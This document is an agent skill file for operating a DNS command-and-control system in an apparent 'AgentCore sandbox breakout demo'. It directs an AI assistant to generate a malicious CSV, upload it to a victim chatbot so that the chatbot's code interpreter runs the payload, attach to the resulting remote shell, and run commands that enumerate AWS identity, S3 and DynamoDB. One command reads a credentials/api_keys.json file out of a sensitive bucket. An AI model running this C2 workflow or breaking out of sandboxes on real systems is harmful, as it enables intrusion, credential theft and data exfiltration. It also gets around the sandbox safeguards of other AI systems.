c2

name	c2
description	DNS C2 operator skill for the AgentCore sandbox breakout demo. This skill should be used when the user asks to run C2 verification, attack a victim chatbot, send commands to a compromised session, retrieve exfiltrated data, or interact with the DNS C2 system.

DNS C2 Operator Skill

This skill automates the DNS C2 attack workflow for the AgentCore sandbox breakout demo.

Prerequisites

Before using this skill, ensure:

1. Attacker infrastructure is deployed (cd attacker-infra && make deploy)
2. The C2 server is running (happens automatically during deploy)

Quick Commands (from repo root)

# Generate malicious CSV (session ID saved to attacker-infra/.session_id)
make generate-csv

# Attach to session (auto-reads .session_id)
make attach

# Or use the c2 CLI directly from attacker-infra/
cd attacker-infra
uv run c2 generate-csv
uv run c2 attach

Usage Modes

Mode 1: Generate and Upload CSV

When the user wants to attack via CSV upload:

• "Generate a malicious CSV"
• "Create a payload for the chatbot"

Workflow:

1. Run make generate-csv from repo root
2. Note the session ID (also saved to attacker-infra/.session_id)
3. Upload attacker-infra/malicious_data.csv to victim chatbot
4. Run make attach to connect to the session

Mode 2: Attach to Session

When the user wants to connect to an active session:

• "Attach to the C2 session"
• "Connect to session sess_abc12345"

Workflow:

# Auto-read session ID from .session_id
make attach

# Or specify manually
cd attacker-infra && uv run c2 attach sess_abc12345

Mode 3: Execute Commands

Once attached, send commands in the operator shell:

• whoami - Check current user
• aws s3 ls - List S3 buckets
• aws sts get-caller-identity - Check IAM identity
• exit - Disconnect (session stays active)

CLI Reference

All commands run from attacker-infra/ directory:

# Generate payload
uv run c2 generate-csv

# Attach to session (reads from .session_id if no argument)
uv run c2 attach [SESSION_ID]

# Send single command
uv run c2 send "whoami" --session sess_abc12345

# Receive output
uv run c2 receive --session sess_abc12345

# Check C2 server status
uv run c2 status

Common Demo Commands

After attaching to a session, demonstrate the vulnerability:

whoami
aws sts get-caller-identity
aws s3 ls
aws s3 ls s3://victim-chatbot-sensitive-* --recursive
aws s3 cp s3://victim-chatbot-sensitive-*/credentials/api_keys.json -
aws dynamodb list-tables

Error Handling

"Cannot reach C2 server"

The C2 server may not be running. Run: cd attacker-infra && make configure-ec2

Empty output after polling

The payload may not have executed. Check:

• Victim chatbot is accessible
• CSV was uploaded and processed
• DNS queries reaching C2: make logs

Session timeout

Code Interpreter sessions timeout after ~15 minutes. Generate a new CSV and re-upload.

Example Full Workflow

User: Generate a payload for the victim chatbot

Claude runs: make generate-csv
Output: Session ID sess_x7k2m9p1 saved to .session_id

User: I uploaded the CSV, now connect

Claude runs: make attach
-> Connects to sess_x7k2m9p1

User: Run whoami

Claude (in operator shell): whoami
Output: genesis1ptools

User: Check what AWS access we have

Claude: aws sts get-caller-identity
Output: {"Account": "445570921298", "Arn": "arn:aws:sts::..."}